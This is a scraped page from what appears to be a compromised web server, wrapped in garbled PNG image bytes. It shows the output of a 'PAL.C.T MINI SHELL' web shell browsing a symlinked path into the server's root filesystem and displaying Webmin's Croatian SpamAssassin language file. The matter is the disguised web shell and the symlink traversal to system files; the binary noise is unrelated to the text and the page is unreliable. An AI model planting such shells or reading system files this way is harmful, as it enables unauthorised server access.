php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/spam/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/spam/lang/hr.auto

index_title=SpamAssassin filter za poštu
index_ecmd=Naredba SpamAssassin $1 nije pronađena u vašem sustavu. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
index_ecmd2=Naredba SpamAssassin $1 nije pronađena u vašem sustavu.
index_econfig=Lokalna konfiguracijska datoteka ili direktorij $1 SpamAssassin nisu pronađeni u vašem sustavu. Možda SpamAssassin nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
index_unknown=nepoznata
index_edb=Nije uspjelo spajanje na bazu podataka SpamAssassin konfiguracije: $1. Provjerite konfiguraciju <a href='$2'>modula</a> da biste bili sigurni da koristite ispravne postavke.
index_version=Verzija SpamAssassin $1 
index_warn_usermin=Čini se da SpamAssassin nije postavljen u vašoj Procmail konfiguracijskoj datoteci $2 ili globalnoj datoteci $1, tako da bilo koja konfiguracija izvršena ovim modulom neće imati učinka ako se SpamAssassin ne postavi globalno.
index_warn_webmin=Čini se da SpamAssassin nije postavljen u sistemskoj datoteci konfiguracije Procmail $1, tako da svaka konfiguracija izvršena ovim modulom neće imati učinka ako ga korisnici ne postave pojedinačno.
index_return=indeks modula
index_apply=Primijeni promjene
index_applydesc=Kliknite ovaj gumb da biste primijenili trenutnu konfiguraciju SpamAssassin slanjem HUP signala na sve pokrenute $1 procese.
index_cpan=Budući da je SpamAssassin modul Perl, možete ga automatski instalirati i pomoću Webminovog <a href='$2'>Perl modula</a> da biste preuzeli $1 iz CPAN-a.
index_spamassassin=SpamAssassin
index_ecannot=Nije vam dopušteno upravljanje spamAssassin konfiguracijskom datotekom $1 

white_title=Dopuštene i uskraćene adrese
white_desc=Tablice na ovoj stranici omogućuju vam da odredite From: i To: adrese e-pošte koje su uvijek ili nikada kategorizirane kao neželjena pošta. Sva druga poruka e-pošte obrađivat će se kao uobičajena pravila SpamAssassina. Sve adrese e-pošte mogu sadržavati zamjenske znakove, poput *@foo.com ili *.foo.com da odgovaraju cijelim domenama.
white_from=Pošiljatelji se nikad ne klasificiraju kao neželjeni sadržaj
white_gfrom=Pošiljatelji širom sustava nikada se ne klasificiraju kao neželjeni sadržaj
white_unfrom=Izuzeci za pošiljatelje koji se nikada ne klasificiraju kao neželjeni sadržaj
white_addr=Adresa pošiljatelja
white_addr2=Adresa primatelja
white_rcvd2=Pošiljalac se nikad ne klasificira kao neželjena pošta
white_rcvdhost=Domena u zaglavlju Primljeno
white_gunfrom=Iznimke na nivou cijelog sustava da se pošiljatelji nikada ne klasificiraju kao neželjeni sadržaj
white_black=Pošiljatelje uvijek klasificiraju kao neželjenu poštu
white_gblack=Pošiljatelji na cijelom sustavu uvijek se klasificiraju kao neželjena pošta
white_unblack=Izuzeci za pošiljatelje uvijek se klasificiraju kao neželjena pošta
white_gunblack=Iznimke na nivou cijelog sustava za pošiljatelje koje uvijek klasificiraju kao neželjenu poštu
white_to=Za: ili Cc: adrese kojima možete dozvoliti neke ili sve neželjene poruke
white_level=dopustiti
white_level0=Neke neželjene pošte
white_level1=Više neželjene pošte
white_level2=Sva neželjena pošta
white_err=Spremanje bijelih i crnih popisa nije uspjelo
white_efrom='$1' nije valjana From: adresa
white_ercvd='$1' nije valjano ime domene
white_importdesc=Ovaj se obrazac može koristiti za dodavanje adresa e-pošte iz datoteke (kao što je izvozni Outlook ili Eudora adresar) na dopušteni popis.
white_import=Uvezi adrese iz datoteke
white_sort=Razvrstati dopuštene adrese nakon uvoza?
white_importok=Uvezi odmah
white_return=dozvoljene i odbijene adrese
white_tabham=Dopuštene adrese
white_tabspam=Odbijene adrese
white_tabsome=Odredišne adrese
white_tabimport=Uvezi adrese

score_title=Klasifikacija neželjene pošte
score_desc=SpamAssassin dodijeli ocjenu svakoj poruci na temelju njenog sadržaja i zaglavlja. Opcije na ovoj stranici određuju rezultat iznad kojeg se poruka smatra neželjenom snagom i neke od metoda pomoću kojih se izračunava ta ocjena.
score_header=Opcije klasifikacije neželjene poruke
score_score=SpamAssassin rezultati testa
score_name=Naziv testa
score_points=točke
score_hits=Posjeta iznad kojih se poruka smatra neželjenom pošte
score_rbl=Preskočite provjeru otvorenog releja RBL?
score_mx=Broj puta za provjeru s adrese MX
score_mxdelay=Sekundi čekanja između MX čekova
score_langs=Jezici u e-pošti koji se ne smatraju potencijalnom neželjenom poštu
score_langsall=Svi jezici
score_langssel=Odabrani jezici ..
score_locales=Skup znakova u e-pošti koji se ne smatraju potencijalnom neželjenom poštu
score_localesall=Svi skupovi znakova
score_localessel=Odabrani skupovi znakova ..
score_auto=Faktor dopuštenih listi
score_timeout=Sekunde čekanja na RBL upite
score_received=Broj primljenih: zaglavlja za provjeru s RBL-om
score_trusted=Mreže i domaćini kojima treba vjerovati
score_describe=Opisi testa za izvještaj
score_descr=Opis
score_err=Nije uspjelo spremanje bodovanja poruka
score_ename='$1' nije valjano ime testa
score_epoints='$1' nije važeći broj bodova
score_edesc=Nedostaje opis za ocjenu '$1'
score_ehits=Nedostaje ili nevažeći broj učitavanja iznad kojih se poruka smatra neželjenom spremom
score_eauto=Nedostaje ili nevažeći faktor ocjene bijele liste (mora biti između 0 i 1)
score_emx=Nedostaje ili je nevaljan broj puta za provjeru From: adresa MX
score_emxdelay=Nedostaju ili nevažeće sekunde za čekanje između MX čekova
score_etimeout=Nedostaju ili nevažeće sekunde za čekanje na RBL upite
score_ereceived=Nedostaje ili nevažeći broj primljenih: zaglavlja provjeriti s RBL
score_bayes=Koristite Bayesov klasifikator učenja?

report_title=Izmjena poruke
report_desc=Opcije na ovoj stranici kontroliraju izmjene koje SpamAssassin unosi u zaglavlja i tijelo svih poruka koje analizira i promjene koje unese u one klasificirane kao neželjene poruke.
report_header=Analizirane i mogućnosti izmjene neželjene poruke
report_report=Izvještaj u prilogu porukama koje prelaze prag neželjene pošte
report_clear=Koristite samo tekst ispod.
report_noclear=Dodajte tekst ispod u zadanu poruku ..
report_terse=Izvještaj u privitku neželjene pošte kada je u kratkom načinu rada
report_rsubject=Dodajte tekst u zaglavlje Subject:
report_rfrom=Dodajte tekst u zaglavlje From:
report_rto=Dodajte tekst u zaglavlje:
report_leave=Ostavite nepromijenjeno
report_rewrite=Izmijenite temu: zaglavlje neželjene pošte?
report_subject=Tekst za dodavanje u neželjenu poštu Predmet: zaglavlje
report_rheader=Stavite izvješće u X-Spam-Status: zaglavlje umjesto tijela?
report_useterse=Stvaranje samo kratkog izvješća?
report_fold=Podijeli X-neželjeni status: zaglavlje u više redova?
report_safe=Stavite originalnu poruku u prilog?
report_safe2=Da, kao običan tekst
report_detail=Uključuje detalje o neželjenim frazama?
report_stars=Sadrži zaglavlje X-Spam:
report_char=X-Spam-nivo: znak zaglavlja
report_defang=Promijenite MIME vrstu neželjene pošte u tekst/običan?
report_err=Spremanje opcija izvješća o neželjenoj pošti nije uspjelo
report_echar=Za zaglavlje X-Spam-Level: mora se unijeti jedan znak
report_adds=Dodatna zaglavlja koja treba dodati
report_addfor=Vrsta poruke
report_addheader=Zaglavlje
report_addtext=Tekst za zaglavlje
report_addspam=spam
report_addham=šunka
report_addall=svi
report_eaddheader=Nedostaje ili nije valjano dodatno zaglavlje za dodavanje $1 

user_title=Ostale korisničke mogućnosti
user_desc=Opcije na ovoj stranici uglavnom su povezane s putovima i postavkama koje SpamAssassin koristi za vanjske identifikacijske pakete neželjene pošte Razor, DCC i Pyzor. Možete također reći SpamAssassinu da li će moći izvoditi DNS pretrage ili ne.
user_header=Razne opcije na razini korisnika
user_dns=Može li SpamAssassin pregledavati DNS?
user_dnslist=Provjera provjerom poslužitelja
user_dnstest=Test
user_razor=Istek vremena za brijanje u sekundi
user_dcc=Lokacija programa klijenata DCC-a
user_inpath=U PATH
user_bodymax=Broj kontrolnih zbroja DCC tijela prije utakmice
user_fuz1max=DCC fuz1 kontrolna suma prije utakmice
user_fuz2max=DCC fuz2 kontrolni zbroj prije utakmice
user_timeout=Istek vremena zahtjeva DCC-a u sekundi
user_dheader=Dodati DCC zaglavlje porukama?
user_pyzor=Lokacija klijentskog programa Pyzor
user_pbodymax=Broj kontrolnih zbroja tijela Pyzora prije utakmice
user_ptimeout=Istek vremena zahtjeva Pyzor-a u sekundi
user_pheader=Dodati zaglavlje Pyzor porukama?
user_err=Spremanje korisničkih opcija nije uspjelo
user_etimeout="$1" nije valjano isteklo vrijeme
user_epath='$1' nije valjan put klijentskog programa
user_emax='$1' nije valjano odbrojavanje

header_title=Testovi zaglavlja i tijela
header_desc=Ova vam stranica omogućuje definiranje dodatnih testova koje će SpamAssassin primijeniti na e-poštu na temelju zaglavlja poruka, sadržaja tijela, URL-ova koji se nalaze u tijelu ili kombinacije drugih testova. Na vama je dodijeljeno ime svakog testa, ali obično je nešto poput CONTAINS_FOO. Stvarni rezultat koji SpamAssassin dodaje porukama koje odgovaraju ispitivanju može se postaviti unosom vlastitih ili ugrađenih testnih imena u tablice pri dnu stranice.
header_switch=Prebacite se na jednostavan način ..
header_header=Dodatni testovi zaglavlja i tijela
header_allow=Dopustiti dopustiti korisnicima da definiraju testove?
header_test=Testovi zaglavlja
header_tname=Naziv testa
header_name=Za zaglavlje
header_op=Provjerite je li
header_op0=Utakmice ..
header_op1=Ne podudara se ..
header_op2=postoji
header_op3=Ocijenite ..
header_pat=Redovna ekspanzija
header_default=Zadana vrijednost
header_uri=URL testovi e-pošte
header_body=Testovi tijela
header_mode=Dio tijela
header_mode0=Običan tekst
header_mode1=Sav tekst
header_mode2=Sirovi tekst
header_mode3=Cijela pošta
header_meta=Testovi temeljeni na drugima
header_bool=Boolov test
header_err=Spremanje testova nije uspjelo
header_ename='$1' nije valjano ime testa
header_eclash=Naziv testa '$1' prikazuje se više puta
header_eregexp2=Nedostaje izraz za test "$1"
header_eflags='$1' nisu važeća zastava regularnog izraza
header_eeval='$1' nije valjana evaluacijska funkcija
header_eheader="$1" nije valjano zaglavlje e-pošte
header_eregexp='$1' nije važeći regularni izraz (mora biti poput / izraz /)
header_emeta=Nedostaje testni izraz za test "$1"

priv_title=Razne privilegirane opcije
priv_desc=Opcije na ovom mogu se postaviti samo globalno, a ne u konfiguracijskim datotekama pojedinih korisnika. Oni upravljaju putovima do različitih konfiguracijskih datoteka i datoteke za prijavu.
priv_header=Razne postavke na razini privilegija
priv_white=Automatski put datoteke s popisa bijelih
priv_mode=Način oktave datoteke s popisa bijelih
priv_dcc=Argumenti naredbe DCC-a
priv_log=Mjerenje putanje datoteka datoteka
priv_razor=Put konfiguracijske datoteke britvice
priv_phrases=Pokazatelji neželjene pošte
priv_phrase=Izraz s dvije riječi
priv_score=Postići
priv_highest=Najviši rezultat fraze
priv_err=Spremanje privilegiranih opcija nije uspjelo
priv_epath='$1' nije važeći put
priv_emode="$1" nije četveroznamenkasti oktalni datotečni način
priv_eargs='$1' nije valjan popis argumenata
priv_emscore='$1' nije valjana najviša ocjena fraze
priv_ephrase="$1" nije valjana dvodelna neželjena fraza
priv_escore=Nedostaje ili nevažeća ocjena za neželjenu frazu '$1'

usually=Obično $1 
ecannot=Nije vam dopušteno koristiti ovu stranicu
setup_title=Postavljanje Procmail za SpamAssassin
setup_desc_webmin=Ovaj se obrazac može koristiti za postavljanje Procmail-a u $1 radi pokretanja SpamAssassina na svim porukama e-pošte koje je primio vaš sustav. Međutim, to će imati učinka samo ako je vaš poslužitelj e-pošte konfiguriran za upotrebu Procmail-a za lokalnu dostavu ili za korisnike čije su datoteke <tt>.forward</tt> postavljene za pokretanje Procmail-a.
setup_desc_usermin=Ovaj se obrazac može koristiti za postavljanje Procmaila u $1 radi pokretanja SpamAssassina na svim porukama e-pošte poslanim na vaš račun. Međutim, to će imati učinka samo ako je poslužitelj e-pošte konfiguriran za korištenje Procmail-a za lokalnu dostavu ili ako su vaše <tt>.forward</tt> datoteke postavljene za slanje svih poruka e-pošte Procmailu.
setup_head=Sve poruke koje obrađuje SpamAssassin postavit će zaglavlja <tt>X-Spam</tt>, tako da ih mogu dalje filtrirati klijenti pošte.
setup_rel=Sva gore navedena putanja koja nije apsolutna poštanska datoteka ili mapa odnosit će se na kućni direktorij korisnika koji prima e-poštu.
setup_home=Varijabla <tt>$ HOME</tt> može se upotrijebiti na gore navedenim stazama, što će biti zamijenjeno s kućnim direktorijom korisnika koji prima e-poštu.
setup_to=Radnja za poruke klasificirane kao neželjene poruke
setup_null=Baciti
setup_default=Isporučite normalno
setup_file=Dodajte datoteci e-pošte u formatu mbox ..
setup_maildir=Dodajte u direktorij e-pošte u stilu Qmail ..
setup_mhdir=Dodajte direktoriju pošte u stilu MH ..
setup_drop=Pokrenite SpamAssassin i napišite u datoteku kao
setup_drop1=Korisnik Unix primatelja
setup_drop0=<tt>root</tt> korisnika
setup_ok=Postavljanje Procmail za SpamAssassin
setup_email=Proslijedi na adresu e-pošte

setup_err=Nije uspjelo postavljanje SpamAssassin-a
setup_efile=Nedostaje ili nije važeća datoteka mbox formata
setup_emaildir=Nedostaje ili je nevažeći imenik e-pošte Qmail
setup_emhdir=Nedostaje ili nije valjan direktorij MH pošte
setup_eemail=Nedostaje ili nevažeća adresa e-pošte

log_white=Izmijenjene su dozvoljene i odbijene adrese
log_score=Izmijenjena klasifikacija neželjene pošte
log_report=Izmijenjena izmjena poruke
log_user=Izmijenjene razne korisničke mogućnosti
log_header=Izmijenjeni testovi zaglavlja i tijela
log_priv=Izmijenjene razne privilegirane opcije
log_setup=Postavljanje Procmail za SpamAssassin
log_procmail=Izmijenjena konfiguracija Procmail-a
log_import=Uvezene $1 dopuštene adrese
log_manual=Ručno uređena konfiguracijska datoteka

import_title=Uvozne adrese
import_err=Uvoz adresa nije uspio
import_efile=Nema odabrane datoteke za uvoz
import_enone=U datoteci nisu pronađene adrese e-pošte
import_ok1=U datoteci je pronađeno $2 adrese e-pošte, od kojih je $1 nova i dodane na sve dodijeljene popise adresa.
import_ok2=U datoteci su pronađene $1 adrese e-pošte, ali sve su bile na popisu dopuštenih adresa.

mail_title=Neželjena pošta
mail_desc=Na ovoj se stranici nalaze poruke koje su klasificirane kao neželjene pošte i čekaju se neke akcije. Poruke koje su pogrešno identificirane mogu se premjestiti u mapu Primljeno, dok se one koje su stvarno neželjene pošte mogu izbrisati.
mail_level=Postići
mail_level2=Ocjena neželjene pošte
mail_inbox=Premjesti u mapu Primljeno
mail_whitelist2=Dopusti pošiljatelje i poštu
mail_razor=Prijavi kao neželjenu poštu i izbriši
mail_ham=Prijavi se kao šunka i pretinac
mail_delete=Izbrisati
mail_return=popis neželjene pošte
mail_pos=Neželjene poruke $1 do $2 od $3 
mail_none=U vašoj mapi s neželjenom porukom nema poruka
mail_refresh=Osvježiti
mail_will=Automatsko osvježavanje u $1 minuti
mail_wills=Automatsko osvježavanje u $1 sekundi
mail_delall=Izbriši svu neželjenu poštu
mail_search3=Potražite gornji rezultat:

process_eclean=Došlo je do pogreške prilikom uklanjanja zaglavlja SpamAssassin iz ove e-pošte
process_ereport=Nije uspjelo prijavljivanje e-pošte SpamAssassin : $1 

apply_err=Primjena promjena nije uspjela
apply_none=Nisu pronađeni procesi SpamAssassin demona!

acl_avail=Korisniku su dostupne ikone
acl_file=SpamAssassin konfiguracijsku datoteku za uređivanje
acl_filedef=Globalna konfiguracijska datoteka
acl_awl=Dopušteno korisnicima za uređivanje automatskog popisa
acl_awl0=Svi korisnici
acl_awl1=Samo navedeni korisnici $1 
acl_awl2=Samo članovi grupa $1 

search_escore=Nedostaje ili je nevažeća ocjena neželjene pošte
search_results5=$1 poruke e-pošte s ocjenom neželjene pošte na ili iznad $2 ..

razor_title=Postavljanje detektor neželjene pošte
razor_desc=Vipul's Razor je kolaborativni sustav otkrivanja i prijavljivanja neželjene pošte koji može poboljšati klasifikaciju neželjene pošte koja se šalje na vašu adresu. No, prije upotrebe morate se registrirati za Razor račun, pomoću donjeg obrasca.
razor_user=Korisničko ime brijača
razor_pass=Lozinka brijača
razor_auto=Odaberite automatski
razor_enter=Stupio
razor_ok=Postavljanje odmah
razor_ecmd=Naredba za postavljanje brijača $1 nije pronađena u vašem sustavu, što ukazuje da Razor nije instaliran.
razor_err=Nije uspjelo postavljanje Razora
razor_euser=Nedostaje korisničko ime
razor_epass=Nedostaje lozinka
razor_doing=Sada se pokušava registrirati i postaviti Razor ..
razor_done=.. gotovo.
razor_failed=.. neuspjeh! Pogledajte izlaz za pogrešku iznad za razlog.

amavisd_title=Dostava neželjene pošte Amavisd
amavisd_desc=Obrazac se može koristiti za promjenu Amavisd konfiguracije koja određuje što se događa s porukama klasificiranim kao neželjene pošte.
amavis_ok=Promijenite Amavisd isporuku
amavis_tab_config=Konfiguracija Amavisda
amavis_tab_quarantine=Neželjena karantena
amavis_warn=Ako koristite Amavisd za filtriranje neželjene pošte, neke će se opcije zanemariti.
amavis_econfig=Amavisd konfiguracijska datoteka $1 nije pronađena u vašem sustavu. Možda Amavisd nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
amavis_hits=Posjeta iznad kojih se poruka smatra neželjenom pošte.
amavis_ehit=Pohvata iznad kojih se poruka smatra neželjenom vrijednošću!
amavis_ekill=Pohvata iznad kojih je neželjena poruka u karanteni nisu vrijednost!
amavis_edsn=Posjeta iznad kojih nije poslana nijedna obavijest pošiljatelju nisu vrijednost!
amavis_ecut=Učitavanja iznad kojih se briše neželjena poruka nisu vrijednost!
amavis_eheader=Vrijednost za promjenu predmeta: zaglavlje nije vrijednost!
amavis_esize=Vrijednost za veličinu iznad vještice poruka nije provjerena. Neželjena pošta nije vrijednost!
amavis_echar=Za zaglavlje X-Spam-Level: mora se unijeti jedan znak
amavis_esubject=Vrijednost za Dodavanje teksta u Subject: zaglavlje nije vrijednost!
amavis_elocal=Vrijednost za onemogućavanje internetskih izvora nije vrijednost!
amavis_quarantine_level=Posjeta iznad kojih je neželjena poruka u karanteni.
amavis_dsn_level=Učitavanja iznad kojih se ne šalje nikakva obavijest pošiljatelju.
amavis_delete_level=Posjeta iznad kojih se briše neželjena poruka.
amavis_report_header=Umetanje zaglavlja X-Spam u neželjenu poruku?
amavis_level_char=Znak koji se koristi za prikaz razine neželjene pošte u zaglavlju X-Spam:
amavis_rewrite=Izmijenite temu: zaglavlje neželjene pošte?
amavis_rsubject=Dodajte tekst u zaglavlje Subject:
amavis_size_limit=Veličina poruke u bajtovima iznad koje se poruka ne provjerava za neželjenu poštu.
amavis_local_only=Onemogućiti internetske izvore za provjeru neželjene pošte?
amavis_quarantine_desc=Prikaži gdje je Amavisd karantiran za neželjenu poštu, prikaži i statistiku neželjene pošte ako je omogućena lokalna karantena. Ako je karantena onemogućena ili je proslijeđena na adresu e-pošte, neželjena statistika ne može se prikazati.
amavis_quarantine_off=Neželjena karantena je onemogućena u vašem sustavu. Promijenite <tt>spam_Quarantine_to</tt> u <tt>spam-karantenu</tt> u datoteci <tt>$1</tt> da biste omogućili Quaratine.
amavis_nostat=Nije moguće prikazati statistiku neželjene pošte.
amavis_spam_admin=Adresa pošte putem koje se šalju obavijesti (administrator neželjene pošte)
amavis_quarantine_mail=Neželjena pošta u karanteni prosljeđuje se na adresu pošte
amavis_quarantine_bsmtp=Neželjena pošta je karantirana u BSMTP formatu na lokalnom datotečnom sustavu kao
amavis_quarantine_local=Neželjena pošta je karantirana u MBOX formatu na lokalnom datotečnom sustavu kao
amavis_quarantine_today=Neželjena pošta u karanteni danas (24h)
amavis_quarantine_week=Neželjena pošta u karanteni ovaj tjedan (7 dana)
amavis_quarantine_month=Neželjena pošta u karanteni ovog mjeseca (30 dana)
amavis_quarantine_total=Ukupni broj neželjene pošte u karanteni

procmail_title=Dostava neželjene pošte Procmail
procmail_ok=Promijenite isporuku za Procmail
procmail_desc=Obrazac se može koristiti za promjenu konfiguracije Procmail koja određuje što se događa s porukama klasificiranim kao neželjene pošte.

simple_title=Testovi zaglavlja i tijela
simple_desc=Ova vam stranica omogućuje definiranje dodatnih testova koje će SpamAssassin primijeniti na e-poštu na temelju zaglavlja poruka, sadržaja tijela i URL-ova koji se nalaze u tijelu. Na vama je dodijeljeno ime svakog testa, ali obično je nešto poput CONTAINS_FOO.
simple_switch=Prebacite se na napredni način ..
simple_header=Testove poruka koje treba primijeniti
simple_name=Naziv testa
simple_for=Ček
simple_regexp=Usklađivanje izraza
simple_score=Rezultat za primjenu
simple_describe=Opis
simple_err=Spremanje testova poruka nije uspjelo

before_ecmd=Naredba prije spremanja nije uspjela : $1 
after_ecmd=Naredba nakon spremanja nije uspjela : $1 

connect_emysql=Nije uspio učitavanje pogonitelja baze podataka $1 
connect_elogin=Prijavljivanje u bazu podataka $1:$2 nije uspjelo.
connect_equery=Baza $1 ne sadrži tablicu s preferencijama $2 
connect_eldapmod=Perl modul $1 potreban za komunikaciju s LDAP-om nije instaliran ili nije dostupan
connect_eldap=Nije uspjelo povezivanje s LDAP serverom $1 na priključku $2 
connect_eldaplogin=Prijava za LDAP poslužitelj $1 nije uspjela kao $2 : $3 
connect_ebase=LDAP baza DN $1 nije valjana : $2 

eldap=Operacija LDAP nije uspjela : $1 
esql=SQL nije uspio : $1 
ldap_euser=Nije moguće pronaći korisnički LDAP objekt za $1 

db_title=SQL i LDAP baze podataka
db_header=Opcije baze podataka za konfiguraciju
db_dsn=Spremite korisničke konfiguracije u
db_mode0=Konfiguracijske datoteke
db_mode1=SQL baza podataka
db_mode3=LDAP baza podataka
db_mode4=Ostali DSN
db_user=Korisničko ime SQL baze podataka
db_pass=Zaporka baze podataka SQL
db_luser=Korisničko ime LDAP poslužitelja
db_lpass=Lozinka LDAP poslužitelja
db_dbdriver=Vrsta baze podataka
db_dbhost=Naziv glavnog računala poslužitelja baze podataka
db_dbdb=Naziv baze podataka
db_dbport=Broj porta
db_err=Spremanje baza podataka nije uspjelo
db_edbhost=Nedostaje ili nije valjano ime hosta SQL poslužitelja
db_edbdb=Nedostaje ili neispravno ime baze podataka
db_edbport=Nedostaje ili nevažeći broj porta SQL poslužitelja
db_edsn=Nedostaje drugi DSN
db_eusername=Nedostaje ili nevažeće korisničko ime baze podataka - nisu dopušteni razmaci
db_ldaphost=Naziv glavnog računala LDAP poslužitelja
db_ldapport=Broj porta
db_ldapdn=Baza DN za korisnike
db_ldapattr=Atributi za postavke SpamAssassin
db_ldapscope=Dubina pretraživanja
db_ldapsub=Čitavo podređenje
db_ldapone=Jedna razina
db_ldapbase=Bazna samo
db_ldapuid=Atributi korisničkog imena
db_eldaphost=Nedostaje ili nije valjano ime hosta LDAP poslužitelja
db_eldapport=Nedostaje ili neispravan broj priključka LDAP poslužitelja
db_eldapdn=Nedostaje ili neispravna baza DN - nisu dopušteni razmaci
db_eldapattr=Nedostaje ili je nevažeći atribut SpamAssassin
db_eldapuid=Nedostaje ili nije važeći atribut korisničkog imena

awl_title=Upravljajte automatskim popisima
awl_search=Popis za pretraživanje za:
awl_ok=traži
awl_searching=Prikaz unosa s automatskim popisima koji se podudaraju sa $1 ..
awl_email=Email adresa
awl_ip=Pošiljateljev IP ili mreža
awl_count=Primljene poruke
awl_score=Rezultat za primjenu
awl_none=nijedan
awl_unknown=Nepoznata
awl_delete=Uklonite odabrane unose
awl_white=Trajno dopustiti
awl_black=Trajno zanijekati
awl_cannot=Usermin nije mogao otvoriti vašu datoteku s automatskim popisima <tt>$1</tt>, možda zato što je u nepodržanom formatu.
awl_empty=Vaša datoteka s automatskom popisom <tt>$1</tt> ne sadrži nikakve unose. Napustit će ga SpamAssassin dok sustav obrađuje poštu.
awl_user=Pokaži automatsku listu za korisnika:
awl_uok=Pokazati
awl_nofile=Korisnik $1 nema datoteku s automatskim popisom.
awl_nouser=Korisnik $1 ne postoji.
awl_cannotuser=Nije vam dopušteno uređivanje automatske liste za korisnika $1.
awl_toomany=U popisu automatskog popisa postoji $1 unos, ali može se prikazati najviše $2. Upotrijebite gornji obrazac za pretraživanje da biste ograničili prikazano.
awl_deleteone=Očistite automatsku listu
awl_deleteonedesc=Uklonite sve unose s automatskog popisa za korisnika $1.
awl_deleteall=Očistite sve automatske popise
awl_deletealldesc=Uklonite sve unose automatskog popisa za sve korisnike u sustavu.

dawl_err=Brisanje s automatskog popisa nije uspjelo
dawl_eopen=Popis nije moguće otvoriti
dawl_enone=Nije odabrana nijedna adresa za brisanje
dawl_ecannot=Nije vam dopušteno upravljanje automatskim popisima za ovaj korisnik
dawl_doing=Brisanje automatskih popisa za sve korisnike ..
dawl_done=.. izbrisali su $2 unosa od $1 korisnika.
dawl_title=Obrišite sve automatske popisa dopuštenih

manual_title=Uređivanje konfiguriranja datoteka
manual_file=Uređivanje konfiguracijske datoteke:
manual_ok=u redu
manual_efile=Nevažeća konfiguracijska datoteka!
manual_err=Spremanje konfiguracijske datoteke nije uspjelo
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`